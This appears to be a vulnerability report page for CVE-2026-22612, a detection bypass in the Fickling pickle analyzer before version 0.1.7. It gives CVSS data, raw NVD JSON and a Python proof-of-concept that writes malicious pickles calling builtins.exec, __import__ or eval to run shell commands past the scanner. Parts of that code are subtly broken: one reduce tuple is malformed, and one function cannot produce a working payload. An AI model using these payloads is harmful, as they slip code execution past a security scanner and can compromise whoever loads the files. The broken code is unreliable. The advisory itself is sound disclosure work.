Security Vulnerability Report
中文
CVE-2026-22612 CVSS 7.8 HIGH

CVE-2026-22612

Published: 2026-01-10 02:15:50
Last Modified: 2026-01-16 18:56:30

Description

Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to "builtins" blindness. This issue has been patched in version 0.1.7.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:python:*:* - VULNERABLE
Fickling < 0.1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-22612 PoC - Fickling builtins blindness bypass # Generate malicious pickle that bypasses Fickling detection import pickle import builtins # Method 1: Using builtins to bypass detection class MaliciousPayload: def __reduce__(self): # This exploits the builtins blindness in Fickling < 0.1.7 # By accessing dangerous functions through builtins module return (builtins.exec, ('print("Code execution via builtins bypass")',)) # Serialize the payload malicious_data = pickle.dumps(MaliciousPayload()) # Write to file (Fickling would fail to detect this in < 0.1.7) with open('malicious.pkl', 'wb') as f: f.write(malicious_data) # Method 2: Alternative bypass using __import__ through builtins class BypassPayload2: def __reduce__(self): # Bypass via builtins.__import__ return (builtins.__import__, ('os',), {'fromlist': ['os']}, None, None, 'system', 'id') # Method 3: Nested pickle with builtins reference def create_bypass_payload(): # Create payload that Fickling cannot properly analyze payload = pickle.dumps({'key': 'value'}) return pickle.dumps((builtins.eval, (f'__import__("os").system("id")',))) if __name__ == '__main__': print('[+] Generating CVE-2026-22612 PoC payloads...') print('[+] Payload 1: builtins.exec bypass') with open('poc_builtins_exec.pkl', 'wb') as f: pickle.dump(MaliciousPayload(), f) print('[+] Payload 2: builtins.__import__ bypass') with open('poc_builtins_import.pkl', 'wb') as f: pickle.dump(BypassPayload2(), f) print('[+] Payloads generated successfully')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22612", "sourceIdentifier": "[email protected]", "published": "2026-01-10T02:15:50.187", "lastModified": "2026-01-16T18:56:30.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fickling is a Python pickling decompiler and static analyzer. Prior to version 0.1.7, Fickling is vulnerable to detection bypass due to \"builtins\" blindness. This issue has been patched in version 0.1.7."}, {"lang": "es", "value": "Fickling es un descompilador de pickling de Python y analizador estático. Antes de la versión 0.1.7, Fickling es vulnerable a la elusión de detección debido a la ceguera a 'builtins'. Este problema ha sido parcheado en la versión 0.1.7."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:trailofbits:fickling:*:*:*:*:*:python:*:*", "versionEndExcluding": "0.1.7", "matchCriteriaId": "0D11EA35-A440-4468-BC69-709AA3A18DD9"}]}]}], "references": [{"url": "https://github.com/trailofbits/fickling/commit/9f309ab834797f280cb5143a2f6f987579fa7cdf", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/trailofbits/fickling/releases/tag/v0.1.7", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-h4rm-mm56-xf63", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://github.com/trailofbits/fickling/security/advisories/GHSA-h4rm-mm56-xf63", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Vendor Advisory"]}]}}